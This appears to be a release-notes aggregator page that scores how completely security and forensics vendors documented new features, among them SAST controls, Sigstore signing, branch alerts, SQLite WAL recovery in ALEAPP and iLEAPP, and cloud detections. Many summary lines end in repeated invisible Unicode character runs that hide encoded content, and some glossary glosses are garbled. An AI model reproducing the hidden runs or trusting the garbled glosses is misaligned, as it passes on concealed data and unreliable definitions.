Self-contained HTML/Markdown report commandnew70how completely this was documenteddepth20/40specificity20/30actionability30/3070 / 100
A new report command generates self-contained HTML or Markdown reports summarizing verdict, top risks, and coverage gaps, suitable for handing off to a team lead or filing as an audit artifact.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ Example usage: skylos report . --format md.
Generate a shareable HTML report of all findings — verdict, top risks, and coverage gaps — to hand off to a team lead or file as an audit artifact.
$ skylos report . --format md
— Named command and flag with runnable example, but no detail on report internalsv5.4.0
thinner coverage below
0200
Open control and admin route detection (SKY-D283)new45how completely this was documenteddepth15/40specificity20/30actionability10/3045 / 100
Skylos now flags open control and admin routes as rule SKY-D283 when running security checks.
— Names the rule ID but gives no mechanism or example of detectionv5.4.0
Mend SAST adds support for custom Node.js routing frameworks and gives finer-grained control over low-probability scan categories in the Scan Profile.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Mend SAST is a static application security testing service that scans source code for vulnerabilities and helps teams prioritize remediation.
Mend SAST adds support for custom Node.js routing frameworks and gives finer-grained control over low-probability scan categories in the Scan Profile.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
2 FEATURES0 OF 2 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0100
Granular low-probability scan category controlsimproved65how completely this was documenteddepth25/40specificity20/30actionability20/3065 / 100
The Scan Profile replaces the previous binary toggle for low-probability scan categories with a configurable selection tree, letting users include or exclude individual categories such as File Read or Database Read, with a count indicator showing how many categories are selected.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Reduce noise for a codebase that has no database access by excluding the Database Read category from the next scan.
📍In the platform UI, go to your Scan Profile › Low-Probability Scan Categories, expand the selection tree, uncheck Database Read, and save — the count indicator confirms how many categories remain active.
Custom Node.js routing via routes.jsonnew55how completely this was documenteddepth25/40specificity20/30actionability10/3055 / 100
Mend SAST now parses routes.json manifests to identify handler functions in custom Node.js routing frameworks, using them as entry points for taint analysis.
Mend Platform's November release adds granular control over low-probability SASTSASTStatic application security testing, analyzing source code or compiled code for vulnerabilities without running the application. It helps developers find problems before deployment. scan categories and introduces Mend Intelligent Agent, a natural-language AI assistant for navigating the platform and summarizing risk.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Mend platform is a traditional application security misses AI risk. Standalone AI security tools miss your code.
Mend Platform's November release adds granular control over low-probability SASTSASTStatic application security testing, analyzing source code or compiled code for vulnerabilities without running the application. It helps developers find problems before deployment. scan categories and introduces Mend Intelligent Agent, a natural-language AI assistant for navigating the platform and summarizing risk.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
2 FEATURES1 OF 2 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0100
Granular SAST scan category controlimproved75how completely this was documenteddepth30/40specificity25/30actionability20/3075 / 100
The Scan Profile now lets users include or exclude individual low-probability SAST scan categories, such as File Read or Database Read, via a configurable selection tree — replacing the previous binary toggle.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ Changes apply to the next scan, and the UI shows a count of selected categories.
Reduce SAST noise on a codebase that does not use direct database access by excluding the Database Read category before the next scan.
📍In the Mend Platform, go to the Scan Profile settings, open the low-probability scan categories selection tree, uncheck Database Read (and any other categories to exclude), then save — the change takes effect on the next scan and the counter updates to reflect the number of active categories.
Mend Intelligent Agent AI assistantnew50how completely this was documenteddepth25/40specificity15/30actionability10/3050 / 100
Mend Intelligent Agent accepts natural-language queries to explore platform capabilities, navigate to relevant views, and produce executive-level risk summaries across all applications and projects. It is enabled by default for organizations with a signed AI consent addendum.
Plumber's v0.7.18 release strengthens the integrity and auditability of score pushes, adding keyless SigstoreSigstoreAn open-source project maintained by the Linux Foundation that provides free signing, verification, and transparency infrastructure for software artifacts, letting cyber tools prove code provenance without managing private keys. signing, a payload-capture environment variable, and richer JSON report metadata.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Plumber detects CI/CD security issues in your GitHub workflows and gives you a score
Plumber's v0.7.18 release strengthens the integrity and auditability of score pushes, adding keyless SigstoreSigstoreAn open-source project maintained by the Linux Foundation that provides free signing, verification, and transparency infrastructure for software artifacts, letting cyber tools prove code provenance without managing private keys. signing, a payload-capture environment variable, and richer JSON report metadata.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
3 FEATURES0 OF 3 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0100
PLUMBER_SCORE_PAYLOAD_OUT captures pushed score payloadnew75how completely this was documenteddepth20/40specificity25/30actionability30/3075 / 100
Setting the PLUMBER_SCORE_PAYLOAD_OUT environment variable to a file path captures the exact bytes sent during a score push, useful for auditing what was signed.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Inspect the exact payload that was pushed to the score service — useful for auditing what was signed.
— Exact env var and runnable command provided.v0.7.18
thinner coverage below
0200
Keyless Sigstore signing of score pushesnew56how completely this was documenteddepth28/40specificity20/30actionability8/3056 / 100
When running on GitHub ActionsGitHub ActionsGitHub's built-in CI/CD system that runs automated workflows triggered by repository events, letting cyber tools automate testing, building, and releasing without managing separate pipeline infrastructure., plumber now signs score pushes with a keyless Sigstore signer and attaches the Sigstore bundle to the push; if signing fails, the run only warns rather than blocking.
— Explains trigger and failure behavior but no user-facing command.v0.7.18
0300
Expanded JSON report metadataimproved43how completely this was documenteddepth15/40specificity20/30actionability8/3043 / 100
plumber's JSON report now includes cliVersion, configFileSha256, and the GitHub Actions run details.
— Names new fields but no usage path given.v0.7.18
Socket is a supply chain security platform that analyzes open-source package dependencies (npm, PyPI, etc.) to detect malicious code, risky behaviors, and vulnerabilities before developers install them.
Socket now supports tracking multiple branches per repository for organization-wide alerts, letting teams monitor non-default branches like canary or release rings alongside main.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
1 FEATURE1 OF 1 FEATUREmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0101
Multi-branch tracking for organization alertsnew86how completely this was documenteddepth30/40specificity28/30actionability28/3086 / 100
Organization-wide alerts can now track up to 5 branches per repository, with alerts broken down by label, repository, and branch in the dashboard.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ Branches can be added via Settings -> Scans -> Tracked Branches using plain names or glob expressions (e.g. release/*) to receive alerts, webhooks, and email notifications across branches such as beta, canary, or legacy. API users can track non-default branches by setting the branch and set_as_pending_head fields when creating a full scan.
Track a canary or beta branch alongside main so production ring deployments all surface in org-wide alerts.
📍Settings -> Scans -> Tracked Branches -> Add a branch name (e.g. canary) or a glob expression (e.g. release/*) to begin receiving alerts, webhooks, and emails for that branch.
Register a full scan against a non-default branch via the API so it appears in organization alerts and triggers webhooks.
Infisical is the open-source platform for securing secrets, certificates, access, and AI Agents.
Infisical adds an OIDCOIDCOpenID Connect, a sign-in protocol built on OAuth 2.0. An application uses identity information from a trusted provider instead of maintaining a separate password for each user. issuer capability, Agent Vault MCPMCPModel Context Protocol, a standard for connecting AI applications to external tools and data sources. A compatible server exposes capabilities an assistant can use through a common interface. server, delegated-approval policies, secret outbox events, unused-secret Insights view, and automatic project-access revocation.
└──▷ GET THIS VERSION
$ git clone --branch v0.167.5 https://github.com/Infisical/infisical.git
# already have the repo? check out this version:$ git checkout v0.167.5
Infisical now acts as an OIDC issuer, letting other systems verify tokens against Infisical's identity.
Agent Vault now exposes an MCP server, letting AI agents and MCP-compatible clients access vaulted credentials.
Adds optional labels on Agent Vault sessions to identify and filter sessions by name.
Adds a guided setup checklist and sample session to the Agent Vault UI to walk through first-time configuration.
Adds delegated-approval policies so teams can define who may approve external access requests and implement an approval mechanism for those requests.
+5 moreshow less
Secrets, folder, and import events now emit through the outbox for downstream consumption.
Adds an audit-log improvement that normalizes free text in audit events for consistent querying.
Adds an Insights view for unused secret access and secret read activity.
Automatically revokes project access when a user loses their last path into an organisation.
PKIPKIA framework of policies, roles, and cryptographic standards for issuing and managing digital certificates that bind public keys to identities, letting tools verify authenticity and encrypt communications without pre-shared secrets. certificate profile and policy wizard steps are now clickable, allowing navigation between steps without completing them sequentially.
ALEAPP's latest release adds multi-generation SQLite WALSQLite WALA write-ahead logging mode for SQLite databases where changes are written to a separate log file before the main database, allowing concurrent reads during writes and faster commit performance. recovery, dozens of new forensic artifact parsers spanning Health ConnectHealth ConnectAn Android platform API, maintained by Google, that provides a unified on-device store for health and fitness data, letting apps read and write standardized health records without each building its own data pipeline., Samsung tooling, Permission Controller, and more, plus new Chromium and Hive/C2PA provenanceprovenanceEvidence recording where a software artifact came from and how it was built, including its source and build process. It helps a consumer check that the artifact matches a trusted build. support.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Android Logs Events And Protobuf Parser
ALEAPP's latest release adds multi-generation SQLite WALSQLite WALA write-ahead logging mode for SQLite databases where changes are written to a separate log file before the main database, allowing concurrent reads during writes and faster commit performance. recovery, dozens of new forensic artifact parsers spanning Health ConnectHealth ConnectAn Android platform API, maintained by Google, that provides a unified on-device store for health and fitness data, letting apps read and write standardized health records without each building its own data pipeline., Samsung tooling, Permission Controller, and more, plus new Chromium and Hive/C2PA provenanceprovenanceEvidence recording where a software artifact came from and how it was built, including its source and build process. It helps a consumer check that the artifact matches a trusted build. support.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
8 FEATURES1 OF 8 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0101
Multi-generation SQLite WAL recoverynew83how completely this was documenteddepth35/40specificity28/30actionability20/3083 / 100
Adds is_sqlite_sidecar to replace hand-written sidecar filters across 56 modules, and reads committed state, previous WAL generation leftover frames, and uncommitted tails from sqlite_wal v0.1.0 — recovering hidden rows from Samsung Honeyboard, Snapchat, Phone Link, Discord, Telegram, and Google Chat.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
— Names module/version and mechanism, but no runnable commandv2026.4.5
0200
Dozens of new forensic artifact parsersnew65how completely this was documenteddepth20/40specificity30/30actionability15/3065 / 100
Adds new artifacts for Google Play Store App Data Usage (reading data_usage.db, one row per package, date, and network state combination including byte counts), Google Play Services Screen Lock State History, Telegram Push Messages (unread_push_messages), Phone Accounts (alongside call logs that now include the SIM ICCID for each call), Health Connect (Android 14+), Samsung Smart Switch, Bluetooth File Transfers (btopp.db), Blocked Numbers, Android Auto Rejected Cars, Setup Flags, boot reason entries from the persistent property store, one database per Android user in frosting, Calendar, Settings Search, My Files recents, Android Auto, image rows from cmh when location_view cannot be queried (Android 16), Instagram Pending Media, Samsung Launcher Search History, Samsung Wi-Fi networks and foreground apps (TcpMonitorApInfo.json), Package Rollback Records, Permission Controller Safety Label History, Permission Change Dates, Permission Controller Log, Google Maps Sync places and people, Battery Stats Daily Package Changes, Wi-Fi IP Memory Store, Call Data Logs (Scone), and Mozilla browser profile times.
— Many named sources but little mechanism per itemv2026.4.5
0300
Cross-platform filesystem name case-matchingimproved65how completely this was documenteddepth20/40specificity25/30actionability20/3065 / 100
Supports -t rawNTFSNTFSThe default file system format for Windows, developed by Microsoft, storing files with rich metadata and access controls; cyber tools target it to parse artifacts like timestamps, alternate data streams, and the MFT., ReFS, exFAT, and FAT name case-matching on macOS and Linux to match existing Windows behaviour.
— Names flag and filesystems, clear scopev2026.4.5
0400
New Chromium browser artifactsnew63how completely this was documenteddepth20/40specificity28/30actionability15/3063 / 100
Adds Chromium artifacts for Omnibox Shortcuts, Browsing Topics API usage, web notifications, website usage events and share history, Site Permissions with permission prompt actions and counts, the File System API including bucket storage, AccountBookmarks in Bookmarks, and ETag and Last-Modified fields in Downloads.
— Several named surfaces, no extraction mechanism describedv2026.4.5
thinner coverage below
0500
Chromium WebView host-app attributionimproved50how completely this was documenteddepth25/40specificity15/30actionability10/3050 / 100
Names Chromium browsers from the package folder rather than the full path, so WebViews in Microsoft and other apps are attributed to their host app instead of being misidentified as Edge.
iLEAPP v2026.4.6 ships a shared SQLite WALSQLite WALA write-ahead logging mode for SQLite databases where changes are written to a separate log file before the main database, allowing concurrent reads during writes and faster commit performance. recovery reader used across eleven modules, over 20 new artifact parsers spanning HiveHiveA ransomware-as-a-service operation, dismantled by the FBI in 2023, that targeted hospitals and critical infrastructure; cyber tools reference it when detecting or attributing its malware variants or leaked builder code., C2PA, HomeKitHomeKitApple's smart-home platform and protocol that lets apps control lights, locks, sensors, and other accessories through a unified API, giving cyber tools a standard interface to audit or automate home devices. and more, plus improvements to raw acquisition matching and Chromium browser profile handling.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
iOS Logs, Events, And Plist Parser
iLEAPP v2026.4.6 ships a shared SQLite WALSQLite WALA write-ahead logging mode for SQLite databases where changes are written to a separate log file before the main database, allowing concurrent reads during writes and faster commit performance. recovery reader used across eleven modules, over 20 new artifact parsers spanning HiveHiveA ransomware-as-a-service operation, dismantled by the FBI in 2023, that targeted hospitals and critical infrastructure; cyber tools reference it when detecting or attributing its malware variants or leaked builder code., C2PA, HomeKitHomeKitApple's smart-home platform and protocol that lets apps control lights, locks, sensors, and other accessories through a unified API, giving cyber tools a standard interface to audit or automate home devices. and more, plus improvements to raw acquisition matching and Chromium browser profile handling.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
6 FEATURES1 OF 6 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0101
Shared SQLite WAL recovery readernew80how completely this was documenteddepth35/40specificity30/30actionability15/3080 / 100
A shared reader — vendored from sqlite-wal v0.1.0 — reads committed rows, the previous WAL generation, and an uncommitted tail.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ is_sqlite_sidecar replaces hand-written sidecar filters in eleven modules, and Snapchat, Google Photos, Google Chat, Life360, Discord and Bluetooth LE now surface rows only earlier WAL states hold.
— Names the vendored library and affected function, but no CLI entry point given.v2026.4.6
0200
Case-insensitive, deduplicated `-t raw` acquisitionsimproved80how completely this was documenteddepth30/40specificity30/30actionability20/3080 / 100
Improves -t raw acquisitions: matches NTFSNTFSThe default file system format for Windows, developed by Microsoft, storing files with rich metadata and access controls; cyber tools target it to parse artifacts like timestamps, alternate data streams, and the MFT., ReFS, exFAT and FAT filenames case-insensitively on macOS and Linux, processes a file matched by two patterns of one artifact only once, and now matches Call History Transactions, Spotlight Index and Twint stores at a bare Data volume root.
— Names the exact flag and filesystem/artifact scope affected.v2026.4.6
0300
Broader Chromium browser profile and identification handlingimproved80how completely this was documenteddepth30/40specificity30/30actionability20/3080 / 100
Improves Chromium browser handling: reads every Chrome and Edge profile folder, not only Chrome/Default, including Login Data For Account and the Google app's Login Data, surfaces AccountBookmarks in the Bookmarks artifact, and names each Chromium browser from its app container's MCMMetadataIdentifier rather than words in the staged path.
— Names exact files, fields and identifier source used for the fix.v2026.4.6
0400
New forensic artifact parsers across apps and system storesnew70how completely this was documenteddepth20/40specificity30/30actionability20/3070 / 100
Adds new artifacts: Hive box inventory (vendored hive-parser); C2PA provenanceprovenanceEvidence recording where a software artifact came from and how it was built, including its source and build process. It helps a consumer check that the artifact matches a trusted build. (vendored c2pareader 0.2.0); Chrome Sync and Chromium Open Tabs for iOS Chromium browsers; Focus mode configurations and assertions; Find My cache; HomeKit Homes, Users and Accessories (read from homed/datastore.sqlite and homed/core.sqlite); Suggestions Store contact details and URLs (from Suggestions/entities.db); Widget Engagements (from _ATXInfoSuggestionStore.db); Meta Apps Time In App (from time_in_app_<id>.db); Quick LookQuick LookA macOS feature from Apple that lets users preview file contents without opening the associated application, useful for cyber tools that need to surface file data quickly in a UI. Thumbnails (thumbnails.data rendered); Keyboard Text Replacements (TextReplacements.db); and Playback Session Archives, Life360 Location State Samples, mt.lastLaunch App Dates, CarKit Connection Events, Contacts Me Card Donations, FaceTime Messages, Line Calls, Lockdown Pair Records, Pending Notifications, and Photos Picker Log.
— Enumerates every new parser and its source file but no usage mechanism beyond that.v2026.4.6
0500
New unified log and sysdiagnose artifactsnew60how completely this was documenteddepth20/40specificity25/30actionability15/3060 / 100
Adds new unified log artifacts covering Lockdown Mode, passkeypasskeyPhishing-resistant sign-in credentials built on FIDO2/WebAuthn: the device holds a private key and proves possession instead of the user typing a password. They sync across a user's devices. record loads, background shortcut actions, and VPNVPNA virtual private network, an encrypted tunnel between devices or networks. It carries traffic across another network as though the endpoints had a private connection. connectivity, plus new artifacts for Screen Time store artifacts (RMAdminStore), SMSSMSShort Message Service, the protocol built into cellular networks for sending text messages between phones; cyber tools use it for alerting, two-factor authentication delivery, or phishing simulation over mobile channels. and iMessage reactions, edit history, unsent parts, replies, recently deleted, link previews and app messages, sysdiagnose associated domains, MC event lists, Network Extension, iCloud Drive (brctl), and process task info, contributed by @danjethh.
— Lists named artifact types but gives no parsing detail or location.v2026.4.6
thinner coverage below
0600
Wi-Fi plist parsing from sysdiagnose archivesnew50how completely this was documenteddepth15/40specificity20/30actionability15/3050 / 100
Read Wi-Fi plists from sysdiagnose archives, and find archives saved as <identifier>_sysdiagnose.tar.gz.
— Names the archive naming pattern but little else about scope.v2026.4.6
Request Tracker 6.0.4 (with parts backported to 5.0.11) ships native multi-factor authenticationmulti-factor authenticationMulti-factor authentication, requiring proof from different categories, such as a password and a hardware key, to sign in. It reduces reliance on a password alone., a lifecycle graph shown directly on tickets and assets, and a redesigned attachments and links UI.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Request tracker / rtir (best practical) is a open source ticketing system from Best Practical. Self-host RT or let us run it in the cloud.
Request Tracker 6.0.4 (with parts backported to 5.0.11) ships native multi-factor authenticationmulti-factor authenticationMulti-factor authentication, requiring proof from different categories, such as a password and a hardware key, to sign in. It reduces reliance on a password alone., a lifecycle graph shown directly on tickets and assets, and a redesigned attachments and links UI.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
3 FEATURES1 OF 3 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0101
Native multi-factor authentication on loginnew40how completely this was documenteddepth15/40specificity15/30actionability10/3040 / 100
RT now adds native multi-factor authentication support on login; this was also backported to RT 5.0.11.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Security Onion 3.4.0 introduces initial multi-event Correlations in the detection engine, unifies automation workflows with new configurable timeouts, and expands its SOAI assistant with a new model, embeddingembeddingLists of numbers a model produces to represent the meaning of text, images or code, so similar items sit close together. They power semantic search and RAG. support, and a larger context limit.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Security Onion is a free and open platform for threat hunting, enterprise security monitoring, and log management. It includes our own interfaces for alerting, dashboards, hunting, PCAP, detections, and case management.
Security Onion 3.4.0 introduces initial multi-event Correlations in the detection engine, unifies automation workflows with new configurable timeouts, and expands its SOAI assistant with a new model, embeddingembeddingLists of numbers a model produces to represent the meaning of text, images or code, so similar items sit close together. They power semantic search and RAG. support, and a larger context limit.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
7 FEATURES1 OF 7 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0100
Unified automations with configurable timeoutsimproved65how completely this was documenteddepth30/40specificity20/30actionability15/3065 / 100
Automations are now unified, consolidating alert and notification automation workflows into a single system.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ Adds configurable timeouts, including per-automation turn timeouts and configurable timeouts for detection engine syncs, giving operators more control over automation and sync behaviour.
— Explains mechanism and scope but lacks exact config keys3.4.0-20261102
0200
AI model and embedding expansions in SOAInew65how completely this was documenteddepth20/40specificity25/30actionability20/3065 / 100
Added openai_embeddings to the YAML configuration to enable OpenAI embedding support, added Claude Haiku as an available SOAI assistant model alongside existing options, and raised the SOAI Sonnet default small context limit to 1 million tokens.
— Names config key, model, and exact numeric limit3.4.0-20261102
0300
custom_bind_mounts for Kafka and SOC containersnew60how completely this was documenteddepth15/40specificity25/30actionability20/3060 / 100
Added custom_bind_mounts support to so-kafka and so-soc containers for custom volume mappings.
— Names exact config key and affected containers3.4.0-20261102
thinner coverage below
0400
allowExternalMarkdownImages SOC settingnew55how completely this was documenteddepth15/40specificity20/30actionability20/3055 / 100
Added allowExternalMarkdownImagesSOCSOCA security operations center, the team or function that monitors threats, investigates alerts and coordinates incident response. Its work can be internal, outsourced or shared. setting to control rendering of external images in markdown.
— Exact setting name given but behaviour only briefly described3.4.0-20261102
0501
Correlations support in detection enginenew45how completely this was documenteddepth20/40specificity15/30actionability10/3045 / 100
Security Onion now supports initial Correlations, enabling multi-event correlation rules in the detection engine.
— Describes capability but no config/API name given3.4.0-20261102
0600
Managed directory for Sigma pipelinesimproved30how completely this was documenteddepth15/40specificity10/30actionability5/3030 / 100
Sigma pipelines are now stored in a managed directory for cleaner rule organisation.
— No path or command given, thin description3.4.0-20261102
0700
Metric alarms and notification annotationsnew25how completely this was documenteddepth10/40specificity10/30actionability5/3025 / 100
Metric alarms and additional notification annotations expand alerting observability.
— Generic mention with no specifics on scope or usage3.4.0-20261102
Lacework FortiCNAPP shipped per-type customization of composite alert severity and introduced Risk Insights in Public Preview.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Lacework FortiCNAPP is a cloud-native application protection platform from Fortinet that secures cloud workloads, containers, and infrastructure through vulnerability scanning, misconfiguration detection, and runtime threat monitoring.
Lacework FortiCNAPP shipped per-type customization of composite alert severity and introduced Risk Insights in Public Preview.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
2 FEATURES0 OF 2 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0100
Composite alert severity customizationimproved45how completely this was documenteddepth20/40specificity10/30actionability15/3045 / 100
Customize composite alerts by setting the severity level of each composite alert type individually, or turn off specific alert types entirely.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
— Describes capability but no UI path or config key givensnapshot-20261103
0200
Risk Insights in Public Previewnew20how completely this was documenteddepth10/40specificity5/30actionability5/3020 / 100
Risk Insights is now available in Public Preview.
— Bare announcement with no detail on functionalitysnapshot-20261103
Plerion added four new AWS Security Incident Response detections in CDR and two new GCP Compute Engine checks covering hard-coded secrets in startup scripts and end-of-life operating systems.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
Plerion is a cloud security platform that detects misconfigurations, vulnerabilities, and threats across cloud environments and provides remediation guidance.
Plerion added four new AWS Security Incident Response detections in CDR and two new GCP Compute Engine checks covering hard-coded secrets in startup scripts and end-of-life operating systems.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
└──▷ WHAT SHIPPED ·
3 FEATURES1 OF 3 FEATURESmost completely described firstwhat's the number?
Each feature carries 0–100 for how completely the vendor documented
it — not how big or important the work is. A major capability
described in eight words scores low, and that is the finding.
depth0–40what it does and how it works or what changed
specificity0–30names real surfaces — APIs, flags, formats, limits, numbers
actionability0–30enough to go use it — a named endpoint, flag, or config key tops this; a UI path is a starting point
Code and config rank first by construction: a documented endpoint,
flag or config key scores at the top of specificity and actionability,
so it sorts above a feature described only in prose. Under
60 the notes go thin — everything below the “thinner
coverage” line is thinner documentation, not smaller work.
Hover any meter for that feature's three sub-scores.
0101
AWS Security Incident Response detections in CDRnew83how completely this was documenteddepth30/40specificity28/30actionability25/3083 / 100
Updating the CDR StackSetStackSetAn AWS CloudFormation construct that deploys and manages stacks across multiple accounts and regions from a single template, letting cyber tools provision infrastructure at scale without per-account manual work. to the latest template enables four new detections, PLERION-CLOUDTRAIL-86 through PLERION-CLOUDTRAIL-89, that fire when a case is created or updated, or when a comment is added or edited.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄ The detections are Medium severity and off by default, so they must be turned on in your profile.
GCP check for hard-coded secrets in Compute Engine startup scriptsnew75how completely this was documenteddepth32/40specificity28/30actionability15/3075 / 100
New GCP check PLERION-GCP-340 reads Compute Engine instance startup scripts from metadata keys startup-script, user-data, and the Windows startup and sysprep script keys, and fails the instance at Medium severity when a script holds a hard-coded credential. The finding names the metadata key, and the matched value is masked before storage.
GCP check for end-of-life Compute Engine OS imagesnew73how completely this was documenteddepth30/40specificity28/30actionability15/3073 / 100
